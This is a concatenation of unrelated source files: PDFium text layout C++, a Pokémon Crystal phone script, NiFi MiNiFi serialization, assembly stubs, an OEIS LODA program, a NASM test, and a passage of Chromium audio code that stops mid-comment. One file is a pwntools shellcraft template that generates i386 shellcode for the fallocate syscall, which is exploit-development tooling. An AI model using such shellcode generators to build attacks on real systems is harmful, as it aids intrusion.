AppendChar_Others(pCurChar); break; } } return std::max(dwRet1, dwRet2); } void CFX_TxtBreak::EndBreak_SplitLine(CFX_BreakLine* pNextLine, bool bAllChars) { bool bDone = false; CFX_Char* pTC; if (!m_bSingleLine && IsGreaterThanLineWidth(m_pCurLine->m_iWidth)) { pTC = m_pCurLine->GetChar(m_pCurLine->m_LineChars.size() - 1); switch (pTC->GetCharType()) { case FX_CHARTYPE::kTab: case FX_CHARTYPE::kControl: case FX_CHARTYPE::kSpace: break; default: SplitTextLine(m_pCurLine.Get(), pNextLine, bAllChars); bDone = true; break; } } if (bAllChars && !bDone) { int32_t iEndPos = m_pCurLine->m_iWidth; GetBreakPos(&m_pCurLine->m_LineChars, bAllChars, true, &iEndPos); } } void CFX_TxtBreak::EndBreak_BidiLine(std::deque<FX_TPO>* tpos, CFX_BreakType dwStatus) { CFX_BreakPiece tp; FX_TPO tpo; CFX_Char* pTC; std::vector<CFX_Char>& chars = m_pCurLine->m_LineChars; if (!m_pCurLine->HasArabicChar()) { tp.m_dwStatus = dwStatus; tp.m_iStartPos = m_pCurLine->m_iStart; tp.m_iWidth = m_pCurLine->m_iWidth; tp.m_iStartChar = 0; tp.m_iCharCount = m_pCurLine->m_LineChars.size(); tp.m_pChars = &m_pCurLine->m_LineChars; pTC = &chars[0]; tp.m_dwCharStyles = pTC->m_dwCharStyles; tp.m_iHorizontalScale = pTC->horizonal_scale(); tp.m_iVerticalScale = pTC->vertical_scale(); m_pCurLine->m_LinePieces.push_back(tp); tpos->push_back({0, 0}); return; } size_t iBidiNum = 0; for (size_t i = 0; i < m_pCurLine->m_LineChars.size(); ++i) { pTC = &chars[i]; pTC->m_iBidiPos = static_cast<int32_t>(i); if (pTC->GetCharType() != FX_CHARTYPE::kControl) iBidiNum = i; if (i == 0) pTC->m_iBidiLevel = 1; } CFX_Char::BidiLine(&chars, iBidiNum + 1); tp.m_dwStatus = CFX_BreakType::Piece; tp.m_iStartPos = m_pCurLine->m_iStart; tp.m_pChars = &m_pCurLine->m_LineChars; int32_t iBidiLevel = -1; int32_t iCharWidth; int32_t i = 0; int32_t j = -1; int32_t iCount = pdfium::CollectionSize<int32_t>(m_pCurLine->m_LineChars); while (i < iCount) { pTC = &chars[i]; if (iBidiLevel < 0) { iBidiLevel = pTC->m_iBidiLevel; tp.m_iWidth = 0; tp.m_iBidiLevel = iBidiLevel; tp.m_iBidiPos = pTC->m_iBidiOrder; tp.m_dwCharStyles = pTC->m_dwCharStyles; tp.m_iHorizontalScale = pTC->horizonal_scale(); tp.m_iVerticalScale = pTC->vertical_scale(); tp.m_dwStatus = CFX_BreakType::Piece; } if (iBidiLevel != pTC->m_iBidiLevel || pTC->m_dwStatus != CFX_BreakType::None) { if (iBidiLevel == pTC->m_iBidiLevel) { tp.m_dwStatus = pTC->m_dwStatus; iCharWidth = pTC->m_iCharWidth; if (iCharWidth > 0) tp.m_iWidth += iCharWidth; i++; } tp.m_iCharCount = i - tp.m_iStartChar; m_pCurLine->m_LinePieces.push_back(tp); tp.m_iStartPos += tp.m_iWidth; tp.m_iStartChar = i; tpo.index = ++j; tpo.pos = tp.m_iBidiPos; tpos->push_back(tpo); iBidiLevel = -1; } else { iCharWidth = pTC->m_iCharWidth; if (iCharWidth > 0) tp.m_iWidth += iCharWidth; i++; } } if (i > tp.m_iStartChar) { tp.m_dwStatus = dwStatus; tp.m_iCharCount = i - tp.m_iStartChar; m_pCurLine->m_LinePieces.push_back(tp); tpo.index = ++j; tpo.pos = tp.m_iBidiPos; tpos->push_back(tpo); } if (j > -1) { if (j > 0) { std::sort(tpos->begin(), tpos->end()); int32_t iStartPos = 0; for (i = 0; i <= j; i++) { tpo = (*tpos)[i]; CFX_BreakPiece& ttp = m_pCurLine->m_LinePieces[tpo.index]; ttp.m_iStartPos = iStartPos; iStartPos += ttp.m_iWidth; } } m_pCurLine->m_LinePieces[j].m_dwStatus = dwStatus; } } void CFX_TxtBreak::EndBreak_Alignment(const std::deque<FX_TPO>& tpos, bool bAllChars, CFX_BreakType dwStatus) { int32_t iNetWidth = m_pCurLine->m_iWidth; int32_t iGapChars = 0; bool bFind = false; for (auto it = tpos.rbegin(); it != tpos.rend(); ++it) { CFX_BreakPiece& ttp = m_pCurLine->m_LinePieces[it->index]; if (!bFind) iNetWidth = ttp.GetEndPos(); bool bArabic = FX_IsOdd(ttp.m_iBidiLevel); int32_t j = bArabic ? 0 : ttp.m_iCharCount - 1; while (j > -1 && j < ttp.m_iCharCount) { const CFX_Char* pTC = ttp.GetChar(j); if (pTC->m_eLineBreakType == FX_LINEBREAKTYPE::kDIRECT_BRK) iGapChars++; if (!bFind || !bAllChars) { FX_CHARTYPE chartype = pTC->GetCharType(); if (chartype == FX_CHARTYPE::kSpace || chartype == FX_CHARTYPE::kControl) { if (!bFind && bAllChars && pTC->m_iCharWidth > 0) iNetWidth -= pTC->m_iCharWidth; } else { bFind = true; if (!bAllChars) break; } } j += bArabic ? 1 : -1; } if (!bAllChars && bFind) break; } int32_t iOffset = m_iLineWidth - iNetWidth; if (iGapChars > 0 && m_iAlignment & CFX_TxtLineAlignment_Justified && dwStatus != CFX_BreakType::Paragraph) { int32_t iStart = -1; for (auto& tpo : tpos) { CFX_BreakPiece& ttp = m_pCurLine->m_LinePieces[tpo.index]; if (iStart < -1) iStart = ttp.m_iStartPos; else ttp.m_iStartPos = iStart; for (int32_t j = 0; j < ttp.m_iCharCount && iGapChars > 0; j++, iGapChars--) { CFX_Char* pTC = ttp.GetChar(j); if (pTC->m_eLineBreakType != FX_LINEBREAKTYPE::kDIRECT_BRK || pTC->m_iCharWidth < 0) { continue; } int32_t k = iOffset / iGapChars; pTC->m_iCharWidth += k; ttp.m_iWidth += k; iOffset -= k; } iStart += ttp.m_iWidth; } } else if (m_iAlignment & CFX_TxtLineAlignment_Center || m_iAlignment & CFX_TxtLineAlignment_Right) { if (m_iAlignment & CFX_TxtLineAlignment_Center && !(m_iAlignment & CFX_TxtLineAlignment_Right)) { iOffset /= 2; } if (iOffset > 0) { for (auto& ttp : m_pCurLine->m_LinePieces) ttp.m_iStartPos += iOffset; } } } CFX_BreakType CFX_TxtBreak::EndBreak(CFX_BreakType dwStatus) { ASSERT(dwStatus != CFX_BreakType::None); if (!m_pCurLine->m_LinePieces.empty()) { if (dwStatus != CFX_BreakType::Piece) m_pCurLine->m_LinePieces.back().m_dwStatus = dwStatus; return m_pCurLine->m_LinePieces.back().m_dwStatus; } if (HasLine()) { if (m_Lines[m_iReadyLineIndex].m_LinePieces.empty()) return CFX_BreakType::None; if (dwStatus != CFX_BreakType::Piece) m_Lines[m_iReadyLineIndex].m_LinePieces.back().m_dwStatus = dwStatus; return m_Lines[m_iReadyLineIndex].m_LinePieces.back().m_dwStatus; } if (m_pCurLine->m_LineChars.empty()) return CFX_BreakType::None; m_pCurLine->m_LineChars.back().m_dwStatus = dwStatus; if (dwStatus == CFX_BreakType::Piece) return dwStatus; m_iReadyLineIndex = m_pCurLine == &m_Lines[0] ? 0 : 1; CFX_BreakLine* pNextLine = &m_Lines[1 - m_iReadyLineIndex]; bool bAllChars = m_iAlignment > CFX_TxtLineAlignment_Right; EndBreak_SplitLine(pNextLine, bAllChars); std::deque<FX_TPO> tpos; EndBreak_BidiLine(&tpos, dwStatus); if (m_iAlignment > CFX_TxtLineAlignment_Left) EndBreak_Alignment(tpos, bAllChars, dwStatus); m_pCurLine = pNextLine; CFX_Char* pTC = GetLastChar(0, false, false); m_eCharType = pTC ? pTC->GetCharType() : FX_CHARTYPE::kUnknown; return dwStatus; } int32_t CFX_TxtBreak::GetBreakPos(std::vector<CFX_Char>* pChars, bool bAllChars, bool bOnlyBrk, int32_t* pEndPos) { std::vector<CFX_Char>& chars = *pChars; int32_t iLength = pdfium::CollectionSize<int32_t>(chars) - 1; if (iLength < 1) return iLength; int32_t iBreak = -1; int32_t iBreakPos = -1; int32_t iIndirect = -1; int32_t iIndirectPos = -1; int32_t iLast = -1; int32_t iLastPos = -1; if (m_bSingleLine || *pEndPos <= m_iLineWidth) { if (!bAllChars) return iLength; iBreak = iLength; iBreakPos = *pEndPos; } FX_LINEBREAKTYPE eType; FX_BREAKPROPERTY nCur; FX_BREAKPROPERTY nNext; CFX_Char* pCur = &chars[iLength--]; if (bAllChars) pCur->m_eLineBreakType = FX_LINEBREAKTYPE::kUNKNOWN; nNext = FX_GetBreakProperty(pCur->char_code()); int32_t iCharWidth = pCur->m_iCharWidth; if (iCharWidth > 0) *pEndPos -= iCharWidth; while (iLength >= 0) { pCur = &chars[iLength]; nCur = FX_GetBreakProperty(pCur->char_code()); if (nNext == FX_BREAKPROPERTY::kSP) eType = FX_LINEBREAKTYPE::kPROHIBITED_BRK; else eType = GetLineBreakTypeFromPair(nCur, nNext); if (bAllChars) pCur->m_eLineBreakType = eType; if (!bOnlyBrk) { if (m_bSingleLine || *pEndPos <= m_iLineWidth || nCur == FX_BREAKPROPERTY::kSP) { if (eType == FX_LINEBREAKTYPE::kDIRECT_BRK && iBreak < 0) { iBreak = iLength; iBreakPos = *pEndPos; if (!bAllChars) return iLength; } else if (eType == FX_LINEBREAKTYPE::kINDIRECT_BRK && iIndirect < 0) { iIndirect = iLength; iIndirectPos = *pEndPos; } if (iLast < 0) { iLast = iLength; iLastPos = *pEndPos; } } iCharWidth = pCur->m_iCharWidth; if (iCharWidth > 0) *pEndPos -= iCharWidth; } nNext = nCur; iLength--; } if (bOnlyBrk) return 0; if (iBreak > -1) { *pEndPos = iBreakPos; return iBreak; } if (iIndirect > -1) { *pEndPos = iIndirectPos; return iIndirect; } if (iLast > -1) { *pEndPos = iLastPos; return iLast; } return 0; } void CFX_TxtBreak::SplitTextLine(CFX_BreakLine* pCurLine, CFX_BreakLine* pNextLine, bool bAllChars) { ASSERT(pCurLine); ASSERT(pNextLine); if (pCurLine->m_LineChars.size() < 2) return; int32_t iEndPos = pCurLine->m_iWidth; std::vector<CFX_Char>& curChars = pCurLine->m_LineChars; int32_t iCharPos = GetBreakPos(&curChars, bAllChars, false, &iEndPos); if (iCharPos < 0) iCharPos = 0; iCharPos++; if (iCharPos >= pdfium::CollectionSize<int32_t>(pCurLine->m_LineChars)) { pNextLine->Clear(); CFX_Char* pTC = &curChars[iCharPos - 1]; pTC->m_eLineBreakType = FX_LINEBREAKTYPE::kUNKNOWN; return; } pNextLine->m_LineChars = std::vector<CFX_Char>(curChars.begin() + iCharPos, curChars.end()); curChars.erase(curChars.begin() + iCharPos, curChars.end()); pCurLine->m_iWidth = iEndPos; CFX_Char* pTC = &curChars[iCharPos - 1]; pTC->m_eLineBreakType = FX_LINEBREAKTYPE::kUNKNOWN; int32_t iWidth = 0; for (size_t i = 0; i < pNextLine->m_LineChars.size(); ++i) { if (pNextLine->m_LineChars[i].GetCharType() >= FX_CHARTYPE::kArabicAlef) { pCurLine->DecrementArabicCharCount(); pNextLine->IncrementArabicCharCount(); } iWidth += std::max(0, pNextLine->m_LineChars[i].m_iCharWidth); pNextLine->m_LineChars[i].m_dwStatus = CFX_BreakType::None; } pNextLine->m_iWidth = iWidth; } struct FX_FORMCHAR { uint16_t wch; uint16_t wForm; int32_t iWidth; }; size_t CFX_TxtBreak::GetDisplayPos(const Run* pTxtRun, TextCharPos* pCharPos) const { if (!pTxtRun || pTxtRun->iLength < 1) return 0; Engine* pEngine = pTxtRun->pEdtEngine; const wchar_t* pStr = pTxtRun->wsStr.c_str(); int32_t* pWidths = pTxtRun->pWidths; int32_t iLength = pTxtRun->iLength - 1; RetainPtr<CFGAS_GEFont> pFont = pTxtRun->pFont; uint32_t dwStyles = pTxtRun->dwStyles; CFX_RectF rtText(*pTxtRun->pRect); bool bRTLPiece = (pTxtRun->dwCharStyles & FX_TXTCHARSTYLE_OddBidiLevel) != 0; float fFontSize = pTxtRun->fFontSize; int32_t iFontSize = FXSYS_roundf(fFontSize * 20.0f); int32_t iAscent = pFont->GetAscent(); int32_t iDescent = pFont->GetDescent(); int32_t iMaxHeight = iAscent - iDescent; float fFontHeight = fFontSize; float fAscent = fFontHeight * iAscent / iMaxHeight; float fX = rtText.left; float fY; float fCharWidth; int32_t iHorScale = pTxtRun->iHorizontalScale; int32_t iVerScale = pTxtRun->iVerticalScale; bool bSkipSpace = pTxtRun->bSkipSpace; FX_FORMCHAR formChars[3]; float fYBase; if (bRTLPiece) fX = rtText.right(); fYBase = rtText.top + (rtText.height - fFontSize) / 2.0f; fY = fYBase + fAscent; size_t szCount = 0; int32_t iNext = 0; wchar_t wPrev = 0xFEFF; wchar_t wNext = 0xFEFF; wchar_t wForm = 0xFEFF; wchar_t wLast = 0xFEFF; bool bShadda = false; bool bLam = false; for (int32_t i = 0; i <= iLength; i++) { int32_t iAbsolute = i + pTxtRun->iStart; int32_t iWidth; wchar_t wch; if (pEngine) { wch = pEngine->GetChar(iAbsolute); iWidth = pEngine->GetWidthOfChar(iAbsolute); } else { wch = *pStr++; iWidth = *pWidths++; } FX_CHARTYPE chartype = FX_GetCharType(wch); if (chartype == FX_CHARTYPE::kArabicAlef && iWidth == 0) { wPrev = 0xFEFF; wLast = wch; continue; } if (chartype >= FX_CHARTYPE::kArabicAlef) { if (i < iLength) { if (pEngine) { iNext = i + 1; while (iNext <= iLength) { int32_t iNextAbsolute = iNext + pTxtRun->iStart; wNext = pEngine->GetChar(iNextAbsolute); if (FX_GetCharType(wNext) != FX_CHARTYPE::kCombination) break; iNext++; } if (iNext > iLength) wNext = 0xFEFF; } else { int32_t j = -1; do { j++; if (i + j >= iLength) break; wNext = pStr[j]; } while (FX_GetCharType(wNext) == FX_CHARTYPE::kCombination); if (i + j >= iLength) wNext = 0xFEFF; } } else { wNext = 0xFEFF; } wForm = pdfium::arabic::GetFormChar(wch, wPrev, wNext); bLam = (wPrev == 0x0644 && wch == 0x0644 && wNext == 0x0647); } else if (chartype == FX_CHARTYPE::kCombination) { wForm = wch; if (wch >= 0x064C && wch <= 0x0651) { if (bShadda) { wForm = 0xFEFF; bShadda = false; } else { wNext = 0xFEFF; if (pEngine) { iNext = i + 1; if (iNext <= iLength) { int32_t iNextAbsolute = iNext + pTxtRun->iStart; wNext = pEngine->GetChar(iNextAbsolute); } } else { if (i < iLength) wNext = *pStr; } if (wch == 0x0651) { if (wNext >= 0x064C && wNext <= 0x0650) { wForm = FX_GetArabicFromShaddaTable(wNext); bShadda = true; } } else { if (wNext == 0x0651) { wForm = FX_GetArabicFromShaddaTable(wch); bShadda = true; } } } } else { bShadda = false; } } else if (chartype == FX_CHARTYPE::kNumeric) { wForm = wch; } else if (wch == L'.') { wForm = wch; } else if (wch == L',') { wForm = wch; } else if (bRTLPiece) { wForm = FX_GetMirrorChar(wch); } else { wForm = wch; } if (chartype != FX_CHARTYPE::kCombination) bShadda = false; if (chartype < FX_CHARTYPE::kArabicAlef) bLam = false; bool bEmptyChar = (chartype >= FX_CHARTYPE::kTab && chartype <= FX_CHARTYPE::kControl); if (wForm == 0xFEFF) bEmptyChar = true; int32_t iForms = bLam ? 3 : 1; szCount += (bEmptyChar && bSkipSpace) ? 0 : iForms; if (!pCharPos) { if (iWidth > 0) wPrev = wch; wLast = wch; continue; } int32_t iCharWidth = iWidth; if (iCharWidth < 0) iCharWidth = -iCharWidth; iCharWidth /= iFontSize; formChars[0].wch = wch; formChars[0].wForm = wForm; formChars[0].iWidth = iCharWidth; if (bLam) { formChars[1].wForm = 0x0651; iCharWidth = 0; pFont->GetCharWidth(0x0651, &iCharWidth); formChars[1].iWidth = iCharWidth; formChars[2].wForm = 0x0670; iCharWidth = 0; pFont->GetCharWidth(0x0670, &iCharWidth); formChars[2].iWidth = iCharWidth; } for (int32_t j = 0; j < iForms; j++) { wForm = (wchar_t)formChars[j].wForm; iCharWidth = formChars[j].iWidth; if (j > 0) { chartype = FX_CHARTYPE::kCombination; wch = wForm; wLast = (wchar_t)formChars[j - 1].wForm; } if (!bEmptyChar || (bEmptyChar && !bSkipSpace)) { pCharPos->m_GlyphIndex = pFont->GetGlyphIndex(wForm); #if defined(OS_MACOSX) pCharPos->m_ExtGID = pCharPos->m_GlyphIndex; #endif // TODO(npm): change widths in this method to unsigned to avoid implicit // cast in the following line. pCharPos->m_FontCharWidth = iCharWidth; } fCharWidth = fFontSize * iCharWidth / 1000.0f; if (bRTLPiece && chartype != FX_CHARTYPE::kCombination) fX -= fCharWidth; if (!bEmptyChar || (bEmptyChar && !bSkipSpace)) { pCharPos->m_Origin = CFX_PointF(fX, fY); if ((dwStyles & FX_LAYOUTSTYLE_CombText) != 0) { int32_t iFormWidth = iCharWidth; pFont->GetCharWidth(wForm, &iFormWidth); float fOffset = fFontSize * (iCharWidth - iFormWidth) / 2000.0f; pCharPos->m_Origin.x += fOffset; } if (chartype == FX_CHARTYPE::kCombination) { FX_RECT rtBBox; if (pFont->GetCharBBox(wForm, &rtBBox)) { pCharPos->m_Origin.y = fYBase + fFontSize - fFontSize * rtBBox.Height() / iMaxHeight; } if (wForm == wch && wLast != 0xFEFF) { if (FX_GetCharType(wLast) == FX_CHARTYPE::kCombination) { FX_RECT rtBox; if (pFont->GetCharBBox(wLast, &rtBox)) pCharPos->m_Origin.y -= fFontSize * rtBox.Height() / iMaxHeight; } } } } if (!bRTLPiece && chartype != FX_CHARTYPE::kCombination) fX += fCharWidth; if (!bEmptyChar || (bEmptyChar && !bSkipSpace)) { pCharPos->m_bGlyphAdjust = true; pCharPos->m_AdjustMatrix[0] = -1; pCharPos->m_AdjustMatrix[1] = 0; pCharPos->m_AdjustMatrix[2] = 0; pCharPos->m_AdjustMatrix[3] = 1; if (iHorScale != 100 || iVerScale != 100) { pCharPos->m_AdjustMatrix[0] = pCharPos->m_AdjustMatrix[0] * iHorScale / 100.0f; pCharPos->m_AdjustMatrix[1] = pCharPos->m_AdjustMatrix[1] * iHorScale / 100.0f; pCharPos->m_AdjustMatrix[2] = pCharPos->m_AdjustMatrix[2] * iVerScale / 100.0f; pCharPos->m_AdjustMatrix[3] = pCharPos->m_AdjustMatrix[3] * iVerScale / 100.0f; } pCharPos++; } } if (iWidth > 0) wPrev = static_cast<wchar_t>(formChars[0].wch); wLast = wch; } return szCount; } std::vector<CFX_RectF> CFX_TxtBreak::GetCharRects(const Run* pTxtRun, bool bCharBBox) const { if (!pTxtRun || pTxtRun->iLength < 1) return std::vector<CFX_RectF>(); Engine* pEngine = pTxtRun->pEdtEngine; const wchar_t* pStr = pTxtRun->wsStr.c_str(); int32_t* pWidths = pTxtRun->pWidths; int32_t iLength = pTxtRun->iLength; CFX_RectF rect(*pTxtRun->pRect); float fFontSize = pTxtRun->fFontSize; float fScale = fFontSize / 1000.0f; RetainPtr<CFGAS_GEFont> pFont = pTxtRun->pFont; if (!pFont) bCharBBox = false; FX_RECT bbox; if (bCharBBox) bCharBBox = pFont->GetBBox(&bbox); float fLeft = std::max(0.0f, bbox.left * fScale); float fHeight = fabs(bbox.Height() * fScale); bool bRTLPiece = !!(pTxtRun->dwCharStyles & FX_TXTCHARSTYLE_OddBidiLevel); bool bSingleLine = !!(pTxtRun->dwStyles & FX_LAYOUTSTYLE_SingleLine); bool bCombText = !!(pTxtRun->dwStyles & FX_LAYOUTSTYLE_CombText); wchar_t wch; int32_t iCharSize; float fCharSize; float fStart = bRTLPiece ? rect.right() : rect.left; std::vector<CFX_RectF> rtArray(iLength); for (int32_t i = 0; i < iLength; i++) { int32_t iAbsolute = i + pTxtRun->iStart; if (pEngine) { wch = pEngine->GetChar(iAbsolute); iCharSize = pEngine->GetWidthOfChar(iAbsolute); } else { wch = *pStr++; iCharSize = *pWidths++; } fCharSize = static_cast<float>(iCharSize) / kConversionFactor; bool bRet = (!bSingleLine && IsCtrlCode(wch)); if (!(wch == L'\v' || wch == L'\f' || wch == 0x2028 || wch == 0x2029 || wch == L'\n')) { bRet = false; } if (bRet) fCharSize = fFontSize / 2.0f; rect.left = fStart; if (bRTLPiece) { rect.left -= fCharSize; fStart -= fCharSize; } else { fStart += fCharSize; } rect.width = fCharSize; if (bCharBBox && !bRet) { int32_t iCharWidth = 1000; pFont->GetCharWidth(wch, &iCharWidth); float fRTLeft = 0, fCharWidth = 0; if (iCharWidth > 0) { fCharWidth = iCharWidth * fScale; fRTLeft = fLeft; if (bCombText) fRTLeft = (rect.width - fCharWidth) / 2.0f; } CFX_RectF rtBBoxF; rtBBoxF.left = rect.left + fRTLeft; rtBBoxF.top = rect.top + (rect.height - fHeight) / 2.0f; rtBBoxF.width = fCharWidth; rtBBoxF.height = fHeight; rtBBoxF.top = std::max(rtBBoxF.top, 0.0f); rtArray[i] = rtBBoxF; continue; } rtArray[i] = rect; } return rtArray; } CFX_TxtBreak::Engine::~Engine() = default; CFX_TxtBreak::Run::Run() = default; CFX_TxtBreak::Run::~Run() = default; CFX_TxtBreak::Run::Run(const CFX_TxtBreak::Run& other) = default;
IrwinRumorScript: checkevent EVENT_OPENED_MT_SILVER iftrue .MtSilver checkevent EVENT_FOUGHT_SNORLAX iftrue .Snorlax checkevent EVENT_GOT_PASS_FROM_COPYCAT iftrue .TrainPass checkflag ENGINE_MARSHBADGE iftrue .MarshBadge checkflag ENGINE_FLYPOINT_VERMILION iftrue .VermilionCity checkevent EVENT_BEAT_ELITE_FOUR iftrue .EliteFour checkflag ENGINE_RISINGBADGE iftrue .RisingBadge checkevent EVENT_CLEARED_RADIO_TOWER iftrue .RadioTower checkevent EVENT_CLEARED_ROCKET_HIDEOUT iftrue .RocketHideout checkevent EVENT_JASMINE_RETURNED_TO_GYM iftrue .JasmineReturned checkflag ENGINE_FOGBADGE iftrue .FogBadge checkflag ENGINE_PLAINBADGE iftrue .PlainBadge farwritetext IrwinCalledRightAwayText buttonsound sjump PhoneScript_HangupText_Male .PlainBadge: farwritetext UnknownText_0x64099 buttonsound sjump PhoneScript_HangupText_Male .JasmineReturned: farwritetext UnknownText_0x640e6 buttonsound sjump PhoneScript_HangupText_Male .RocketHideout: farwritetext UnknownText_0x6416d buttonsound sjump PhoneScript_HangupText_Male .RadioTower: farwritetext UnknownText_0x641e8 buttonsound sjump PhoneScript_HangupText_Male .RisingBadge: farwritetext UnknownText_0x64247 buttonsound sjump PhoneScript_HangupText_Male .EliteFour: farwritetext UnknownText_0x642bb buttonsound sjump PhoneScript_HangupText_Male .VermilionCity: farwritetext UnknownText_0x643d4 buttonsound sjump PhoneScript_HangupText_Male .TrainPass: farwritetext UnknownText_0x64448 buttonsound sjump PhoneScript_HangupText_Male .Snorlax: farwritetext UnknownText_0x6455b buttonsound sjump PhoneScript_HangupText_Male .MtSilver: farwritetext UnknownText_0x645ff buttonsound sjump PhoneScript_HangupText_Male .FogBadge: farwritetext UnknownText_0x646df buttonsound sjump PhoneScript_HangupText_Male .MarshBadge: farwritetext UnknownText_0x647d8 buttonsound sjump PhoneScript_HangupText_Male
<% from pwnlib.shellcraft.i386.linux import syscall %> <%page args="fd, mode, offset, length"/> <%docstring> Invokes the syscall fallocate. See 'man 2 fallocate' for more information. Arguments: fd(int): fd mode(int): mode offset(off_t): offset len(off_t): len </%docstring> ${syscall('SYS_fallocate', fd, mode, offset, length)}
/** * * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "io/Serializable.h" #include <cstdio> #include <iostream> #include <vector> #include <string> #include <algorithm> #include "io/DataStream.h" #ifdef WIN32 #include "Winsock2.h" #else #include <arpa/inet.h> #endif namespace org { namespace apache { namespace nifi { namespace minifi { namespace io { #define htonll_r(x) ((((uint64_t)htonl(x)) << 32) + htonl((x) >> 32)) #define IS_ASCII(c) __builtin_expect(!!((c >= 1) && (c <= 127)), 1) template<typename T> int Serializable::writeData(const T &t, DataStream *stream) { uint8_t bytes[sizeof t]; std::copy(static_cast<const char*>(static_cast<const void*>(&t)), static_cast<const char*>(static_cast<const void*>(&t)) + sizeof t, bytes); return stream->writeData(bytes, sizeof t); } template<typename T> int Serializable::writeData(const T &t, uint8_t *to_vec) { std::copy(static_cast<const char*>(static_cast<const void*>(&t)), static_cast<const char*>(static_cast<const void*>(&t)) + sizeof t, to_vec); return sizeof t; } template<typename T> int Serializable::writeData(const T &t, std::vector<uint8_t> &to_vec) { uint8_t bytes[sizeof t]; std::copy(static_cast<const char*>(static_cast<const void*>(&t)), static_cast<const char*>(static_cast<const void*>(&t)) + sizeof t, bytes); to_vec.insert(to_vec.end(), &bytes[0], &bytes[sizeof t]); return sizeof t; } int Serializable::write(uint8_t value, DataStream *stream) { return stream->writeData(&value, 1); } int Serializable::write(char value, DataStream *stream) { return stream->writeData(reinterpret_cast<uint8_t *>(&value), 1); } int Serializable::write(uint8_t *value, int len, DataStream *stream) { return stream->writeData(value, len); } int Serializable::write(bool value, DataStream *stream) { uint8_t temp = value; return stream->writeData(&temp, 1); } int Serializable::read(uint8_t &value, DataStream *stream) { uint8_t buf; int ret = stream->readData(&buf, 1); if (ret == 1) value = buf; return ret; } int Serializable::read(char &value, DataStream *stream) { uint8_t buf; int ret = stream->readData(&buf, 1); if (ret == 1) value = buf; return ret; } int Serializable::read(uint8_t *value, int len, DataStream *stream) { return stream->readData(value, len); } int Serializable::read(uint16_t &value, DataStream *stream, bool is_little_endian) { return stream->read(value, is_little_endian); } int Serializable::read(uint32_t &value, DataStream *stream, bool is_little_endian) { return stream->read(value, is_little_endian); } int Serializable::read(uint64_t &value, DataStream *stream, bool is_little_endian) { return stream->read(value, is_little_endian); } int Serializable::write(uint32_t base_value, DataStream *stream, bool is_little_endian) { const uint32_t value = is_little_endian ? htonl(base_value) : base_value; return writeData(value, stream); } int Serializable::write(uint64_t base_value, DataStream *stream, bool is_little_endian) { const uint64_t value = is_little_endian == 1 ? htonll_r(base_value) : base_value; return writeData(value, stream); } int Serializable::write(uint16_t base_value, DataStream *stream, bool is_little_endian) { const uint16_t value = is_little_endian == 1 ? htons(base_value) : base_value; return writeData(value, stream); } int Serializable::readUTF(std::string &str, DataStream *stream, bool widen) { uint32_t utflen = 0; int ret = 1; if (!widen) { uint16_t shortLength = 0; ret = read(shortLength, stream); utflen = shortLength; if (ret <= 0) return ret; } else { uint32_t len; ret = read(len, stream); if (ret <= 0) return ret; utflen = len; } if (utflen == 0) { str = ""; return 1; } std::vector<uint8_t> buf; ret = stream->readData(buf, utflen); // The number of chars produced may be less than utflen str = std::string((const char*) &buf[0], utflen); return utflen; } int Serializable::writeUTF(std::string str, DataStream *stream, bool widen) { uint32_t utflen = 0; utflen = str.length(); if (utflen > 65535) return -1; if (utflen == 0) { if (!widen) { uint16_t shortLen = utflen; write(shortLen, stream); } else { write(utflen, stream); } return 1; } std::vector<uint8_t> utf_to_write; if (!widen) { utf_to_write.resize(utflen); } else { utf_to_write.resize(utflen); } uint8_t *underlyingPtr = &utf_to_write[0]; for (auto c : str) { writeData(c, underlyingPtr++); } int ret; if (!widen) { uint16_t short_length = utflen; write(short_length, stream); ret = stream->writeData(utf_to_write.data(), utflen); } else { write(utflen, stream); ret = stream->writeData(utf_to_write.data(), utflen); } return ret; } } /* namespace io */ } /* namespace minifi */ } /* namespace nifi */ } /* namespace apache */ } /* namespace org */
; unsigned char check_version_esxdos(uint16_t ev) SECTION code_arch PUBLIC _check_version_esxdos_fastcall EXTERN asm_check_version_esxdos defc _check_version_esxdos_fastcall = asm_check_version_esxdos
; A336292: a(n) = (n!)^2 * Sum_{k=1..n} (-1)^(n-k) / (k * ((n-k)!)^2). ; Submitted by Christian Krause ; 0,1,-2,3,8,305,10734,502747,30344992,2307890097,216571514030,24619605092291,3337294343698248,532148381719443073,98646472269855762238,21041945289232131607995,5118447176652195630775424,1408601897794844346184122017,435481794298015565250651718302 mov $1,2 mov $3,$0 mov $4,1 lpb $3 add $1,$4 mul $1,$3 mul $1,$3 mul $2,2 cmp $4,0 add $5,$4 mov $6,$5 cmp $6,0 add $5,$6 div $1,$5 div $2,-2 add $2,$1 mul $1,$5 sub $3,1 div $4,$5 lpe mov $0,$2 div $0,3
;Testname=br3028880; Arguments=-Ox -fbin -obr3028880.o; Files=stdout stderr br3028880.o %macro import 1 %define %%incfile %!PROJECTBASEDIR/%{1}.inc %endmacro import foo
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "media/audio/audio_output_resampler.h" #include <stdint.h> #include <algorithm> #include <memory> #include <string> #include <utility> #include "base/bind.h" #include "base/callback_helpers.h" #include "base/compiler_specific.h" #include "base/logging.h" #include "base/macros.h" #include "base/memory/ptr_util.h" #include "base/metrics/histogram_functions.h" #include "base/numerics/safe_conversions.h" #include "base/trace_event/trace_event.h" #include "build/build_config.h" #include "media/audio/audio_manager.h" #include "media/audio/audio_output_dispatcher_impl.h" #include "media/audio/audio_output_proxy.h" #include "media/base/audio_converter.h" #include "media/base/audio_timestamp_helper.h" #include "media/base/limits.h" #include "media/base/sample_rates.h" namespace media { class OnMoreDataConverter : public AudioOutputStream::AudioSourceCallback, public AudioConverter::InputCallback { public: OnMoreDataConverter(const AudioParameters& input_params, const AudioParameters& output_params, std::unique_ptr<AudioDebugRecorder> debug_recorder); ~OnMoreDataConverter() override; // AudioSourceCallback interface. int OnMoreData(base::TimeDelta delay, base::TimeTicks delay_timestamp, int prior_frames_skipped, AudioBus* dest) override; void OnError(ErrorType type) override; // Sets |source_callback_|. If this is not a new 